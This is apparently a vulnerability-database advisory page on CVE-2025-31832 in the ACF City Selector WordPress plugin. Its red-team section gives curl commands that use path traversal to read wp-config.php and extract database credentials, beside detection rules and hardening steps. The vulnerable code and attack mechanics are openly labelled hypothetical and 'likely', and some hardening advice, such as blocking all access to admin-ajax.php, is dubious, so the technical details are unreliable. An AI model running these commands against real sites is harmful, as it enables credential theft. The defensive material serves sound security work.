CVE-2025-31832
Executive Summary
CVE-2025-31832 is a medium-severity information disclosure vulnerability affecting the WordPress plugin ACF City Selector by Beee, up to and including version 1.17.0. The flaw allows an unauthenticated attacker to retrieve sensitive system information, such as internal file paths, database configurations, or other embedded data, by exploiting an unauthorized control sphere. This is classified as an Exposure of Sensitive System Information (CWE-200) vulnerability.
The vulnerability is specific to the WordPress ecosystem and does not involve Apache or Nginx misconfigurations. The plugin fails to properly restrict access to internal data, enabling attackers to extract embedded sensitive data without authentication. The CVSS score of 5.3 (Medium) reflects the low complexity and network-based attack vector, though the impact is limited to confidentiality.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is in a WordPress plugin distributed via the official WordPress plugin repository. Users should verify the integrity of their plugin files and monitor for updates from the vendor. No known supply chain compromise has been reported, but the unpatched status increases risk for sites using this plugin.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
- Base Score: 5.3 (Medium)
- Attack Vector: Network (AV:N) – exploitable remotely.
- Attack Complexity: Low (AC:L) – no special conditions required.
- Privileges Required: None (PR:N) – no authentication needed.
- User Interaction: None (UI:N) – no user action required.
- Scope: Unchanged (S:U) – impact confined to the vulnerable component.
- Confidentiality Impact: Low (C:L) – limited sensitive data exposure.
- Integrity Impact: None (I:N) – no data modification.
- Availability Impact: None (A:N) – no service disruption.
Threat Level: Medium. The low EPSS score (0.0%) suggests limited active exploitation, but the lack of a patch makes it a persistent risk for unhardened WordPress installations.
Deep Dive & Mechanics
The vulnerability resides in the acf-city-selector plugin, which provides city selection fields for Advanced Custom Fields (ACF). The plugin exposes sensitive system information through an unauthorized control sphere, likely via an AJAX endpoint or REST API route that does not enforce proper access controls.
Root Cause: The plugin fails to validate user permissions or sanitize output when serving internal data, such as file paths, database credentials, or plugin configuration details. An attacker can send a crafted request to a vulnerable endpoint (e.g., /wp-admin/admin-ajax.php?action=acf_city_selector_get_data) to retrieve embedded sensitive data.
Attack Flow:
- Attacker identifies a WordPress site running ACF City Selector <= 1.17.0.
- Attacker sends a GET/POST request to the vulnerable endpoint without authentication.
- The plugin returns sensitive system information (e.g.,
ABSPATH, database table prefixes, or plugin file contents). - Attacker uses this data for further exploitation (e.g., path traversal, SQL injection).
Technical Details:
- The plugin likely uses
file_get_contents()orinclude()with user-controllable parameters, leading to information disclosure. - No nonce or capability check is performed on the vulnerable function.
Vulnerable vs. Patched Code
Since no patch is available, the following is a hypothetical comparison based on common fixes for CWE-200.
Vulnerable Code (acf-city-selector.php, line ~120):
function acf_city_selector_get_data() {
$file = $_GET['file'];
$data = file_get_contents(plugin_dir_path(__FILE__) . $file);
echo $data;
wp_die();
}
add_action('wp_ajax_nopriv_acf_city_selector_get_data', 'acf_city_selector_get_data');
Patched Code (Hypothetical):
function acf_city_selector_get_data() {
if (!current_user_can('manage_options')) {
wp_die('Unauthorized');
}
check_ajax_referer('acf_city_selector_nonce', 'nonce');
$file = sanitize_file_name($_GET['file']);
$allowed_files = array('cities.json', 'states.json');
if (!in_array($file, $allowed_files)) {
wp_die('Invalid file');
}
$data = file_get_contents(plugin_dir_path(__FILE__) . 'data/' . $file);
echo esc_html($data);
wp_die();
}
add_action('wp_ajax_acf_city_selector_get_data', 'acf_city_selector_get_data');
Key Differences:
- Added capability check (
current_user_can('manage_options')). - Added nonce verification.
- Restricted file access to a whitelist.
- Sanitized output with
esc_html().
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress site with ACF City Selector <= 1.17.0 installed and activated.
- Network access to the site.
Exploitation Steps:
- Enumerate the vulnerable endpoint:
curl -s "http://target.com/wp-admin/admin-ajax.php?action=acf_city_selector_get_data&file=../../wp-config.php" - Retrieve sensitive data:
curl -s "http://target.com/wp-admin/admin-ajax.php?action=acf_city_selector_get_data&file=../acf-city-selector.php" - Extract database credentials from
wp-config.php:curl -s "http://target.com/wp-admin/admin-ajax.php?action=acf_city_selector_get_data&file=../../wp-config.php" | grep -E "DB_NAME|DB_USER|DB_PASSWORD"
Expected Output:
define('DB_NAME', 'wordpress');
define('DB_USER', 'wp_user');
define('DB_PASSWORD', 'secret123');
Blue Team (Detection & Hardening)
Detection:
- Monitor for requests to
/wp-admin/admin-ajax.phpwithaction=acf_city_selector_get_dataand suspiciousfileparameters (e.g.,../,wp-config.php). - Alert on multiple failed attempts to access non-existent files.
Hardening:
- Disable the plugin until a patch is available.
- Use a Web Application Firewall (WAF) to block requests containing
acf_city_selector_get_data. - Restrict file access via
.htaccess:<Files "admin-ajax.php"> Require all denied </Files> - Implement virtual patching via ModSecurity:
SecRule ARGS:action "acf_city_selector_get_data" "id:1000001,phase:2,deny,status:403,msg:'ACF City Selector Exploit Attempt'"
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests to
/wp-admin/admin-ajax.phpwithaction=acf_city_selector_get_data. fileparameter containing path traversal sequences (../,..\\).- User-Agent strings from common scanning tools (e.g.,
curl,python-requests).
File IOCs:
- Unauthorized access logs in
/var/log/apache2/access.logor/var/log/nginx/access.logshowing the above patterns. - Plugin file modifications (check file integrity with
md5sum).
System IOCs:
- Unexpected database queries from the plugin's user (e.g.,
SELECT * FROM wp_options). - New files in
/tmp/or/var/tmp/created by the plugin.
Detection Engineering
YARA Rule
rule CVE_2025_31832_ACF_City_Selector_Exploit {
meta:
description = "Detects exploitation attempts of CVE-2025-31832 in ACF City Selector"
author = "Valters IT"
date = "2025-04-17"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-31832"
strings:
$ajax_action = "acf_city_selector_get_data"
$path_traversal = "../"
$wp_config = "wp-config.php"
condition:
$ajax_action and ($path_traversal or $wp_config)
}
Sigma Rule
title: CVE-2025-31832 ACF City Selector Information Disclosure
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation attempts of CVE-2025-31832 via admin-ajax.php
author: Valters IT
date: 2025-04-17
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: 'GET'
c-uri|contains: '/wp-admin/admin-ajax.php'
cs-uri-query|contains: 'action=acf_city_selector_get_data'
condition: selection
falsepositives:
- Legitimate plugin functionality (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-31832 ACF City Selector Information Disclosure Attempt";
flow:to_server,established;
content:"/wp-admin/admin-ajax.php";
http_uri;
content:"action=acf_city_selector_get_data";
http_client_body;
classtype:attempted-recon;
sid:10000001;
rev:1;
reference:cve,2025-31832;
)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin – Deactivate and uninstall ACF City Selector until a patch is released.
- Apply virtual patching – Use WAF rules to block the vulnerable endpoint.
- Audit logs – Check for signs of exploitation in web server logs.
Long-Term Fixes:
- Monitor the vendor's repository for a patched version (>= 1.17.1).
- Implement a plugin security policy: only use plugins with active maintenance and recent updates.
- Use a WordPress security plugin (e.g., Wordfence) to add an extra layer of protection.
Workaround:
- If the plugin is critical, restrict access to
admin-ajax.phpvia IP whitelisting or.htaccessauthentication.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.